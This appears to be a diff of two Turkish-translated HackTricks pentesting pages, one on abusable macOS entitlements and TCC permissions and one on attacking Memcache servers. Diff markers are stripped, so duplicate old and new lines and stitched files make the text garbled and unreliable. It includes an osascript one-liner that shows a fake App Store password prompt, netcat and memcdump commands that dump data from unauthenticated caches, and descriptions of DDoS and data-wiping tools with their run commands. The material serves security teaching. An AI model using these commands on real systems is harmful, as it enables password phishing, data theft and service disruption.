Debugging Tool Yetkisine sahip uygulamalar, `Get Task Allow` yetkisi `true` olarak ayarlanmış imzasız ve üçüncü taraf uygulamalar için geçerli bir görev portu almak üzere `task_for_pid()` çağrısı yapabilir. Ancak, debugging tool yetkisi ile bile, bir debugger **`Get Task Allow` yetkisine sahip olmayan** süreçlerin görev portlarını **alamaz** ve bu nedenle Sistem Bütünlüğü Koruması tarafından korunur. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
### `com.apple.security.cs.disable-library-validation`
Bu yetki, Apple tarafından imzalanmış veya ana yürütülebilir dosya ile aynı Takım Kimliği ile imzalanmış olmaksızın **çerçeveleri, eklentileri veya kütüphaneleri yüklemeye** izin verir, bu nedenle bir saldırgan bazı keyfi kütüphane yüklemelerini kod enjekte etmek için kullanabilir. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
Bu yetki, **Apple tarafından imzalanmamış veya ana yürütücü ile aynı Takım Kimliği ile imzalanmamış** çerçeveleri, eklentileri veya kütüphaneleri **yüklemeye** izin verir, bu nedenle bir saldırgan bazı keyfi kütüphane yüklemelerini kötüye kullanarak kod enjekte edebilir. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
### `com.apple.private.security.clear-library-validation`
Bu yetki, **kütüphane doğrulamasını doğrudan devre dışı bırakmak yerine** işlemi **devre dışı bırakmak için bir `csops` sistem çağrısını yapmasına** izin verir.\
Daha fazla bilgi için [buraya bakın](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
Bu yetki, **`com.apple.security.cs.disable-library-validation`** ile çok benzer, ancak **doğrudan** kütüphane doğrulamasını **devre dışı bırakmak yerine**, sürecin **bunu devre dışı bırakmak için bir `csops` sistem çağrısı yapmasına** izin verir.\
Daha fazla bilgi için [**bunu kontrol edin**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
### `com.apple.security.cs.allow-dyld-environment-variables`
Bu yetki, kütüphane ve kod enjekte etmek için kullanılabilecek **DYLD çevre değişkenlerini** kullanmaya izin verir. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables).
Bu yetki, **kütüphaneleri ve kodu enjekte etmek için kullanılabilecek DYLD ortam değişkenlerini** kullanmaya izin verir. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables).
### `com.apple.private.tcc.manager` veya `com.apple.rootless.storage`.`TCC`
@ -59,35 +60,35 @@ Bu yetki, kütüphane ve kod enjekte etmek için kullanılabilecek **DYLD çevre
### **`system.install.apple-software`** ve **`system.install.apple-software.standar-user`**
Bu yetkiler, kullanıcıdan izin istemeden **yazılım yüklemeye** izin verir, bu da bir **yetki yükseltmesi** için faydalı olabilir.
Bu yetkiler, kullanıcıdan izin istemeden **yazılım yüklemeye** izin verir, bu da **yetki yükseltme** için faydalı olabilir.
### `com.apple.private.security.kext-management`
Çekirdeğe bir çekirdek uzantısını yüklemesi için gereken yetki.
Bir **çekirdek uzantısını** yüklemek için çekirdekten talepte bulunmak için gereken yetki.
### **`com.apple.private.icloud-account-access`**
**`com.apple.private.icloud-account-access`** yetkisi, **`com.apple.iCloudHelper`** XPC hizmeti ile iletişim kurmayı sağlar ve **iCloud belgelerini** sağlar.
Yetki **`com.apple.private.icloud-account-access`**, **`com.apple.iCloudHelper`** XPC servisi ile iletişim kurmayı sağlar ve bu da **iCloud token'ları** sağlar.
**iMovie** ve **Garageband** bu yetkiye sahipti.
Bu yetkiden **icloud belgelerini almak** için yapılan saldırı hakkında daha fazla **bilgi** için şu konuşmayı inceleyin: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
Bu yetkiden **icloud token'ları** almak için istismar hakkında daha fazla bilgi için konuşmayı kontrol edin: [**#OBTS v5.0: "Mac'inizde Olan, Apple'ın iCloud'unda Kalır?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token`
TODO: Bu ne yapmaya izin veriyor bilmiyorum
TODO: Bunun neye izin verdiğini bilmiyorum
### `com.apple.private.apfs.revert-to-snapshot`
TODO: [**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **bu, yeniden başlatmadan sonra SSV korumalı içerikleri güncellemek için kullanılabileceği belirtiliyor. Bunu nasıl yapacağınızı biliyorsanız lütfen bir PR gönderin!**
TODO: [**bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **bu, bir yeniden başlatmadan sonra SSV korumalı içerikleri güncellemek için kullanılabileceği** belirtiliyor. Bunu nasıl yaptığını biliyorsanız bir PR gönderin lütfen!
### `com.apple.private.apfs.create-sealed-snapshot`
TODO: [**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **bu, yeniden başlatmadan sonra SSV korumalı içerikleri güncellemek için kullanılabileceği belirtiliyor. Bunu nasıl yapacağınızı biliyorsanız lütfen bir PR gönderin!**
TODO: [**bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **bu, bir yeniden başlatmadan sonra SSV korumalı içerikleri güncellemek için kullanılabileceği** belirtiliyor. Bunu nasıl yaptığını biliyorsanız bir PR gönderin lütfen!
### `keychain-access-groups`
Bu yetki, uygulamanın erişim sağladığı **anahtarlık** gruplarını listeler:
Bu yetki, uygulamanın erişim sağladığı **anahtar zinciri** gruplarını listeler:
```xml
<key>keychain-access-groups</key>
<array>
@ -100,60 +101,62 @@ Bu yetki, uygulamanın erişim sağladığı **anahtarlık** gruplarını listel
```
### **`kTCCServiceSystemPolicyAllFiles`**
Tam Disk Erişimi izinlerini verir, sahip olabileceğiniz TCC'nin en yüksek izinlerinden biri.
**Tam Disk Erişimi** izinleri verir, sahip olabileceğiniz TCC'nin en yüksek izinlerinden biridir.
### **`kTCCServiceAppleEvents`**
Uygulamanın diğer uygulamalara olaylar göndermesine izin verir, genellikle **görevleri otomatikleştirmek** için kullanılan. Diğer uygulamaları kontrol ederek, bu diğer uygulamalara verilen izinleri kötüye kullanabilir.
Uygulamanın, genellikle **görevleri otomatikleştirmek** için kullanılan diğer uygulamalara olaylar göndermesine izin verir. Diğer uygulamaları kontrol ederek, bu diğer uygulamalara verilen izinleri kötüye kullanabilir.
Kullanıcıdan şifresini istemelerini sağlamak gibi:
Kullanıcıdan şifresini istemelerini sağlamak gibi:
{% code overflow="wrap" %}
```bash
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
```
{% endcode %}
Veya onları **keyfi eylemler yapmaya zorlamak**.
Ya da **keyfi eylemler** gerçekleştirmelerine izin verir.
### **`kTCCServiceEndpointSecurityClient`**
İzin verir, diğer izinler arasında, **kullanıcıların TCC veritabanına yazmasına**.
Kullanıcıların TCC veritabanını **yazmalarına** izin verir.
### **`kTCCServiceSystemPolicySysAdminFiles`**
Kullanıcının ev klasörü yolunu değiştiren bir kullanıcının **`NFSHomeDirectory`** özniteliğini **değiştirmesine izin verir** ve bu nedenle **TCC'yi atlamasına izin verir**.
Kullanıcının ana dizin yolunu değiştiren **`NFSHomeDirectory`** niteliğini **değiştirmeye** izin verir ve böylece **TCC'yi atlatmaya** olanak tanır.
### **`kTCCServiceSystemPolicyAppBundles`**
Varsayılan olarak **yasaklanmış olan** uygulama paketleri içindeki dosyaları değiştirmeye izin verir (uygulama.app içinde).
Uygulama paketinin içindeki dosyaları değiştirmeye izin verir (app.app içinde), bu varsayılan olarak **yasaktır**.
<figure><img src="../../../.gitbook/assets/image (31).png" alt=""><figcaption></figcaption></figure>
Bu erişime kimin sahip olduğunu kontrol etmek mümkündür _Sistem Ayarları_ > _Gizlilik ve Güvenlik_ > _Uygulama Yönetimi_.
Bu erişime sahip olanları kontrol etmek mümkündür _Sistem Ayarları_ > _Gizlilik ve Güvenlik_ > _Uygulama Yönetimi_.
### `kTCCServiceAccessibility`
İşlem, **macOS erişilebilirlik özelliklerini kötüye kullanabilir**, Bu da örneğin tuş vuruşları yapabilmesi demektir. Bu nedenle Finder gibi bir uygulamayı kontrol etme erişimini isteyebilir ve bu izinle iletişim kutusunu onaylayabilir.
Süreç, **macOS erişilebilirlik özelliklerini** **istismar edebilecektir**, bu da örneğin tuş vuruşlarını basabilmesi anlamına gelir. Bu nedenle, Finder gibi bir uygulamayı kontrol etmek için erişim talep edebilir ve bu izinle onaylayabilir.
## Orta
### `com.apple.security.cs.allow-jit`
Bu ayrıcalık, `mmap()` sistem işlevine `MAP_JIT` bayrağını geçirerek **yazılabilir ve yürütülebilir bellek oluşturmayı** sağlar. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
Bu yetki, `mmap()` sistem fonksiyonuna `MAP_JIT` bayrağını geçirerek **yazılabilir ve çalıştırılabilir bellek oluşturulmasına** izin verir. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
### `com.apple.security.cs.allow-unsigned-executable-memory`
Bu ayrıcalık, **C kodunu geçersiz kılmaya veya yamamaya**, uzun süredir kullanılmayan **`NSCreateObjectFileImageFromMemory`**'ı kullanmaya (temelde güvensiz olan) veya **DVDPlayback** çerçevesini kullanmaya izin verir. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
Bu yetki, **C kodunu geçersiz kılmaya veya yamanmaya** izin verir, uzun süredir kullanılmayan **`NSCreateObjectFileImageFromMemory`** (temelde güvensizdir) veya **DVDPlayback** çerçevesini kullanabilir. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
{% hint style="danger" %}
Bu ayrıcalığı dahil etmek, uygulamanızı bellek güvensiz kod dillerinde yaygın güvenlik açıklarına maruz bırakır. Uygulamanızın bu istisnaya ihtiyaç duyup duymadığını dikkatlice düşünün.
Bu yetkiyi dahil etmek, uygulamanızı bellek-güvensiz kod dillerindeki yaygın güvenlik açıklarına maruz bırakır. Uygulamanızın bu istisnaya ihtiyacı olup olmadığını dikkatlice değerlendirin.
{% endhint %}
### `com.apple.security.cs.disable-executable-page-protection`
Bu ayrıcalık, **kendi yürütülebilir dosyalarının bölümlerini** diskte değiştirmeye izin verir. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
Bu yetki, disk üzerindeki kendi çalıştırılabilir dosyalarının bölümlerini **değiştirmeye** izin verir. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
{% hint style="danger" %}
Devre Dışı Bırakılabilir Yürütülebilir Sayfa Koruma Ayrıcalığı, uygulamanızdan temel bir güvenlik korumasını kaldırarak, uygulamanızın yürütülebilir kodunu bir saldırganın tespit edilmeden yeniden yazabilmesini mümkün kılar. Mümkünse daha dar ayrıcalıkları tercih edin.
Çalıştırılabilir Bellek Koruma Yetkisini Devre Dışı Bırakmak, uygulamanızdan temel bir güvenlik korumasını kaldıran aşırı bir yetkidir ve bir saldırganın uygulamanızın çalıştırılabilir kodunu tespit edilmeden yeniden yazmasını mümkün kılar. Mümkünse daha dar yetkileri tercih edin.
{% endhint %}
### `com.apple.security.cs.allow-relative-library-loads`
@ -162,19 +165,32 @@ TODO
### `com.apple.private.nullfs_allow`
Bu ayrıcalık, varsayılan olarak yasaklanmış bir nullfs dosya sistemi bağlamasına izin verir. Araç: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
Bu yetki, bir nullfs dosya sistemini (varsayılan olarak yasak) bağlamaya izin verir. Araç: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
### `kTCCServiceAll`
Bu blog yazısına göre, bu TCC izni genellikle şu formda bulunur:
Bu blog yazısına göre, bu TCC izni genellikle şu şekilde bulunur:
```
[Key] com.apple.private.tcc.allow-prompting
[Value]
[Array]
[String] kTCCServiceAll
```
Allow the process to **tüm TCC izinlerini istemesine** izin verin.
### **`kTCCServicePostEvent`**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Tüm TCC izinlerini isteme işlemine izin verin**</strong></summary>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>

View file

@ -1,43 +1,44 @@
# 11211 - Memcache Pentesting
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **pull request** göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Protokol Bilgisi
[wikipedia](https://en.wikipedia.org/wiki/Memcached)'den alınan bilgilere göre:
[wikipedia](https://en.wikipedia.org/wiki/Memcached)'dan:
> **Memcached** (telaffuz: mem-cashed, mem-cash-dee), genel amaçlı bir dağıtık [bellek önbellekleme](https://en.wikipedia.org/wiki/Memory\_caching) sistemidir. Sıklıkla, veri ve nesneleri RAM'de önbelleğe alarak (veritabanı veya API gibi harici bir veri kaynağının okunma sayısını azaltarak) dinamik veritabanı destekli web sitelerinin hızını artırmak için kullanılır.
> **Memcached** (telaffuz: mem-cashed, mem-cash-dee), genel amaçlı dağıtık [bellek önbellekleme](https://en.wikipedia.org/wiki/Memory\_caching) sistemidir. Genellikle, verileri ve nesneleri RAM'de önbelleğe alarak dinamik veritabanı destekli web sitelerinin hızını artırmak için kullanılır; böylece harici bir veri kaynağının (örneğin bir veritabanı veya API) okunma sayısını azaltır.
Memcached, SASL'yi desteklemesine rağmen, çoğu örnek **kimlik doğrulama olmadan açığa çıkar**.
Memcached SASL'yi desteklese de, çoğu örnek **kimlik doğrulama olmadan açığa çıkar**.
**Varsayılan port:** 11211
```
PORT STATE SERVICE
11211/tcp open unknown
```
## Saptama
## Enumeration
### El ile
### Manual
Bir memcache örneğinde kaydedilen tüm bilgileri dışarı çıkarmak için şunları yapmanız gerekmektedir:
Bir memcache örneğinde kaydedilmiş tüm bilgileri dışarı aktarmak için şunları yapmalısınız:
1. **Aktif öğeleri** olan **slab'ları** bulun
2. Önceden tespit edilen slab'ların **anahtar isimlerini** alın
3. Anahtar isimlerini alarak kaydedilen verileri **dışarı çıkarın**
1. **Aktif öğeler** ile **slab'ları** bulun
2. Daha önce tespit edilen slab'ların **anahtar adlarını** alın
3. **Anahtar adlarını** alarak **kaydedilmiş veriyi** dışarı aktarın
Unutmayın, bu hizmet sadece bir **önbellek** olduğundan, **veriler görünüp kaybolabilir**.
Bu hizmetin sadece bir **cache** olduğunu unutmayın, bu nedenle **veri görünebilir ve kaybolabilir**.
```bash
echo "version" | nc -vn -w 1 <IP> 11211 #Get version
echo "stats" | nc -vn -w 1 <IP> 11211 #Get status
@ -50,36 +51,7 @@ echo "get <item_name>" | nc -vn -w 1 <IP> 11211 #Get saved info
sudo apt-get install php-memcached
php -r '$c = new Memcached(); $c->addServer("localhost", 11211); var_dump( $c->getAllKeys() );'
```
### Kılavuz2
Bu bölümde, Memcached sunucusuna manuel olarak saldırmak için kullanılabilecek bazı teknikler hakkında bilgi bulacaksınız.
#### Memcached Nedir?
Memcached, dağıtılmış bir bellek nesne önbellekleme sistemi olarak kullanılan bir açık kaynaklı yazılımdır. Genellikle web uygulamalarında performansı artırmak için kullanılır. Memcached, bellek içindeki verileri hızlı bir şekilde depolamak ve erişmek için kullanılır.
#### Memcached Sunucusuna Saldırı
Memcached sunucusuna saldırmak için aşağıdaki adımları izleyebilirsiniz:
1. Memcached sunucusunun IP adresini belirleyin.
2. Memcached sunucusuna bağlanmak için bir Memcached istemcisi kullanın.
3. Memcached sunucusuna bağlandıktan sonra, `stats` komutunu kullanarak sunucu hakkında bilgi alabilirsiniz. Bu bilgiler, saldırı için faydalı olabilir.
4. Memcached sunucusuna saldırmak için `get` veya `set` komutlarını kullanabilirsiniz. `get` komutu, belirli bir anahtar için değeri almanızı sağlar. `set` komutu ise belirli bir anahtar için değer atamanızı sağlar.
5. Memcached sunucusuna saldırırken, önbelleğe alınmış verileri veya hassas bilgileri elde etmek için farklı anahtarlar deneyebilirsiniz.
6. Saldırı sırasında, Memcached sunucusuna çok sayıda istek göndererek hizmetin yanıt verememesini sağlayabilirsiniz. Bu, hizmetin kullanılamaz hale gelmesine neden olabilir.
#### Memcached Sunucusunu Koruma
Memcached sunucusunu korumak için aşağıdaki adımları izleyebilirsiniz:
1. Memcached sunucusunu güvenli bir ağa yerleştirin ve güvenlik duvarı kullanarak erişimi sınırlayın.
2. Memcached sunucusunun varsayılan olarak herhangi bir kimlik doğrulama gerektirmediğinden emin olun. Kimlik doğrulama gerektiren bir yapılandırma kullanmak daha güvenlidir.
3. Memcached sunucusunun sadece güvenilir IP adreslerinden erişilebilir olduğundan emin olun.
4. Memcached sunucusunun sürümünü güncel tutun ve güvenlik yamalarını düzenli olarak uygulayın.
5. Memcached sunucusunun halka açık bir IP adresine sahip olmadığından emin olun. Eğer halka açık bir IP adresine sahipse, erişimi sınırlamak için bir VPN veya güvenlik duvarı kullanın.
Bu adımları izleyerek, Memcached sunucusunun güvenliğini artırabilir ve saldırılara karşı koruyabilirsiniz.
### Manual2
```bash
sudo apt install libmemcached-tools
memcstat --servers=127.0.0.1 #Get stats
@ -87,150 +59,116 @@ memcdump --servers=127.0.0.1 #Get all items
memccat --servers=127.0.0.1 <item1> <item2> <item3> #Get info inside the item(s)
```
### Otomatik
Memcache sunucusuna otomatik olarak saldırmak için birkaç araç mevcuttur. Bu araçlar, hedef sunucunun IP adresini ve Memcache sunucusunun varsayılan olarak kullandığı 11211 portunu gerektirir.
#### Memcrashed
Memcrashed, Memcache sunucusuna DDoS saldırıları gerçekleştirmek için kullanılan bir araçtır. Bu araç, hedef sunucuya büyük miktarda sahte istek göndererek sunucunun kaynaklarını tüketir ve hizmet kesintisine neden olur.
Kullanımı oldukça basittir. Aşağıdaki komutu kullanarak Memcrashed'ı çalıştırabilirsiniz:
```
memcrashed.py <hedef_IP_adresi>
```
#### Memcached-Deleter
Memcached-Deleter, Memcache sunucusundaki tüm verileri silmek için kullanılan bir araçtır. Bu araç, hedef sunucuya bağlanır, tüm anahtarları listeler ve ardından tüm anahtarları siler.
Kullanımı oldukça basittir. Aşağıdaki komutu kullanarak Memcached-Deleter'ı çalıştırabilirsiniz:
```
memcached-deleter.py <hedef_IP_adresi>
```
#### Memcrashed-DDoS
Memcrashed-DDoS, Memcache sunucusuna DDoS saldırıları gerçekleştirmek için kullanılan bir başka araçtır. Bu araç, hedef sunucuya büyük miktarda sahte istek göndererek sunucunun kaynaklarını tüketir ve hizmet kesintisine neden olur.
Kullanımı oldukça basittir. Aşağıdaki komutu kullanarak Memcrashed-DDoS'ı çalıştırabilirsiniz:
```
memcrashed-ddos.py <hedef_IP_adresi>
```
Bu araçlar, yalnızca yasal ve izinli pentest faaliyetleri için kullanılmalıdır. Herhangi bir hedefe saldırmadan önce mutlaka izin almalısınız. Aksi takdirde, yasa dışı faaliyetlere katıldığınızdan dolayı yasal sorumluluklarla karşı karşıya kalabilirsiniz.
```bash
nmap -n -sV --script memcached-info -p 11211 <IP> #Just gather info
msf > use auxiliary/gather/memcached_extractor #Extracts saved data
msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplification attack is possible
```
## **Memcache Anahtarlarının Dump Edilmesi**
## **Memcache Anahtarlarını Dökme**
Memcache dünyasında, verileri slab'larla düzenlemeye yardımcı olan bir protokol olan memcache için depolanan verileri incelemek için belirli komutlar bulunur, ancak dikkate değer kısıtlamalarla:
Memcache alanında, verileri slab'lar aracılığıyla düzenlemeye yardımcı olan bir protokolde, depolanan verileri incelemek için belirli komutlar mevcuttur, ancak dikkate değer kısıtlamalarla birlikte:
1. Anahtarlar, benzer içerik boyutuna sahip anahtarları gruplandıran slab sınıfına göre sadece dump edilebilir.
2. Her slab sınıfı için bir sayfa limiti vardır, bu da 1MB veriye eşittir.
3. Bu özellik resmi olmayıp herhangi bir zamanda sonlandırılabilir, [topluluk forumlarında](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM) tartışılmıştır.
1. Anahtarlar yalnızca slab sınıfına göre dökülebilir, benzer içerik boyutuna sahip anahtarları gruplar.
2. Her slab sınıfı için bir sayfa limiti vardır, bu da 1MB veriye eşdeğerdir.
3. Bu özellik resmi değildir ve [topluluk forumlarında](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM) tartışıldığı gibi herhangi bir zamanda sona erdirilebilir.
Potansiyel olarak gigabaytlarca veriden sadece 1MB'ın dump edilebilmesi kısıtlaması özellikle önemlidir. Bununla birlikte, bu işlevsellik, belirli ihtiyaçlara bağlı olarak anahtar kullanım desenleri hakkında bilgi sağlayabilir. Mekaniklerle daha az ilgilenenler için, [araçlar bölümüne](https://lzone.de/cheat-sheet/memcached#tools) giderek kapsamlı dump etme araçlarına ulaşılabilir. Alternatif olarak, memcached kurulumlarıyla doğrudan etkileşim için telnet kullanma süreci aşağıda açıklanmıştır.
Potansiyel olarak gigabaytlarca veriden yalnızca 1MB dökme kısıtlaması özellikle önemlidir. Ancak, bu işlevsellik belirli ihtiyaçlara bağlı olarak anahtar kullanım desenleri hakkında içgörüler sunabilir. Mekaniklerle daha az ilgilenenler için, [araçlar bölümüne](https://lzone.de/cheat-sheet/memcached#tools) bir ziyaret, kapsamlı döküm için yardımcı programlar sunmaktadır. Alternatif olarak, memcached kurulumlarıyla doğrudan etkileşim için telnet kullanma süreci aşağıda açıklanmıştır.
### **Nasıl Çalışır**
Memcache'in bellek düzenlemesi önemlidir. Memcache'i "-vv" seçeneğiyle başlatmak, oluşturduğu slab sınıflarını ortaya çıkarır, aşağıda gösterildiği gibi:
Memcache'in bellek organizasyonu çok önemlidir. Memcache'i "-vv" seçeneğiyle başlatmak, ürettiği slab sınıflarını ortaya çıkarır, aşağıda gösterildiği gibi:
```bash
$ memcached -vv
slab class 1: chunk size 96 perslab 10922
[...]
```
Mevcut tüm slab'ları görüntülemek için aşağıdaki komut kullanılır:
Tüm mevcut slab'ları görüntülemek için aşağıdaki komut kullanılır:
```bash
stats slabs
```
memcached 1.4.13'e tek bir anahtar eklemek, slab sınıflarının nasıl oluşturulduğunu ve yönetildiğini gösterir. Örneğin:
Tek bir anahtarın memcached 1.4.13'e eklenmesi, slab sınıflarının nasıl doldurulduğunu ve yönetildiğini gösterir. Örneğin:
```bash
set mykey 0 60 1
1
STORED
```
"stats slabs" komutunu çalıştırmak, anahtar ekleme sonrasında slab kullanımı hakkında detaylı istatistikler sağlar:
"key" eklemeden sonra "stats slabs" komutunu çalıştırmak, slab kullanımına dair ayrıntılı istatistikler sağlar:
```bash
stats slabs
[...]
```
Bu çıktı, etkin slab türlerini, kullanılan parçaları ve işletimsel istatistikleri ortaya koyarak okuma ve yazma işlemlerinin verimliliği hakkında bilgi sağlar.
Bu çıktı, aktif slab türlerini, kullanılan parçaları ve operasyonel istatistikleri ortaya koyarak, okuma ve yazma işlemlerinin verimliliği hakkında bilgiler sunar.
"stats items" adlı başka bir kullanışlı komut, atma, bellek kısıtlamaları ve öğe yaşam döngüleri hakkında veri sağlar:
Başka bir yararlı komut, "stats items", tahliyeler, bellek kısıtlamaları ve öğe yaşam döngüleri hakkında veriler sağlar:
```bash
stats items
[...]
```
Bu istatistikler, farklı içerik boyutları için önbellek verimliliği, bellek tahsisi ve büyük nesneleri önbelleğe alma kapasitesi gibi uygulama önbellekleme davranışı hakkında bilinçli varsayımlar yapmayı mümkün kılar.
Bu istatistikler, farklı içerik boyutları için önbellek verimliliği, bellek tahsisi ve büyük nesneleri önbelleğe alma kapasitesi dahil olmak üzere uygulama önbellekleme davranışı hakkında eğitimli varsayımlar yapılmasına olanak tanır.
### **Anahtarları Dökme**
1.4.31 öncesindeki sürümlerde, anahtarlar slab sınıfına göre dökülür:
1.4.31'den önceki sürümler için, anahtarlar slab sınıfı tarafından dökülür:
```bash
stats cachedump <slab class> <number of items to dump>
```
Örneğin, 1. sınıfta bir anahtarın içeriğini dökmek için:
Örneğin, sınıf #1'de bir anahtarı dökmek için:
```bash
stats cachedump 1 1000
ITEM mykey [1 b; 1350677968 s]
END
```
Bu yöntem, slab sınıflarını dolaşarak anahtar değerlerini çıkartır ve isteğe bağlı olarak döker.
Bu yöntem, slab sınıfları üzerinde yineleme yaparak anahtar değerlerini çıkarır ve isteğe bağlı olarak döküm yapar.
### **MEMCACHE ANAHTARLARININ DÖKÜLME (VER 1.4.31+)**
### **MEMCACHE ANAHTARLARINI DÖKME (VER 1.4.31+)**
Memcache sürümü 1.4.31 ve üzeriyle birlikte, üretim ortamında anahtarları dökmek için yeni ve daha güvenli bir yöntem tanıtılmıştır. Bu yöntem, [sürüm notlarında](https://github.com/memcached/memcached/wiki/ReleaseNotes1431) detaylı olarak açıklandığı gibi, bloke etmeyen bir mod kullanır. Bu yaklaşım geniş çaplı çıktı üretir, bu nedenle verimlilik için 'nc' komutunun kullanılması önerilir. Örnekler şunları içerir:
Memcache sürümü 1.4.31 ve üzeri ile, üretim ortamında anahtarları dökmek için yeni, daha güvenli bir yöntem tanıtılmıştır; bu yöntem, [sürüm notlarında](https://github.com/memcached/memcached/wiki/ReleaseNotes1431) detaylandırıldığı gibi, engellemeyen mod kullanmaktadır. Bu yaklaşım geniş bir çıktı üretir, bu nedenle verimlilik için 'nc' komutunun kullanılmasını öneririz. Örnekler şunlardır:
```bash
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28
```
### **DUMPING ARAÇLARI**
### **DUMPING TOOLS**
Tablo [buradan](https://lzone.de/blog).
Table [from here](https://lzone.de/blog).
| Programlama Dilleri | Araçlar | İşlevsellik | | |
| ------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------- | ------- |
| PHP | [basit script](http://snipt.org/xtP) | Anahtar isimlerini yazdırır. | | |
